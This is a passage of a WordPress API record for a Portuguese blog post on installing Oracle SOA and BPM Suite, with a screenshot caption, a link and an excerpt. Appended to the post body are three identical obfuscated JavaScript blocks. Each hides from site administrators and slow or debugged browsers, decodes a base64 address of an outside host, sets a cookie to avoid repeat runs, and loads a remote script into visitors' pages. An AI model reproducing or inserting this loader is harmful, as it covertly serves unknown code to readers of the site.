aria-describedby=\"caption-attachment-827\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Check-for-Updates-Step-2-of-5.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-827 \" title=\"Check for Updates - Step 2 of 5\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Check-for-Updates-Step-2-of-5-300x216.png\" alt=\"Check for Updates - Step 2 of 5\" width=\"300\" height=\"216\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Check-for-Updates-Step-2-of-5-300x216.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Check-for-Updates-Step-2-of-5.png 632w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-827\" class=\"wp-caption-text\">Check for Updates - Step 2 of 5<\/figcaption><\/figure>\n<\/dt>\n<\/dl>\n<\/div>\n<p style=\"text-align: justify;\">Siga as instru\u00e7\u00f5es descritas no post: <a title=\"Instala\u00e7\u00e3o do BPM Studio\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/21\/instalacao-do-oracle-bpm-studio\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/21\/instalacao-do-oracle-bpm-studio\/<\/a><\/p>\n<p style=\"text-align: justify;\">H\u00e1  ainda a possibilidade de instalar o WebCenter Suite e o Universal  Content Management, mas esses ficam pra uma pr\u00f3xima oportunidade \ud83d\ude09<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O SOA e o BPM Suite s\u00e3o produtos que fazem parte do Oracle Fusion Middleware. Eles servem para facilitar o desenvolvimento de aplica\u00e7\u00f5es SOA e prover um local \u00fanico de configura\u00e7\u00e3o e administra\u00e7\u00e3o de aplica\u00e7\u00f5es distribu\u00eddas. A instala\u00e7\u00e3o \u00e9 um <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/\">Continue lendo  <span class=\"screen-reader-text\">  Oracle SOA e BPM Suite<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,3,8,10,64,71,9,76,6],"tags":[],"class_list":["post-805","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-java","category-jdeveloper","category-jee","category-linux","category-oracle-base-de-dados","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/805","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=805"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/805\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=805"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=805"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=805"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}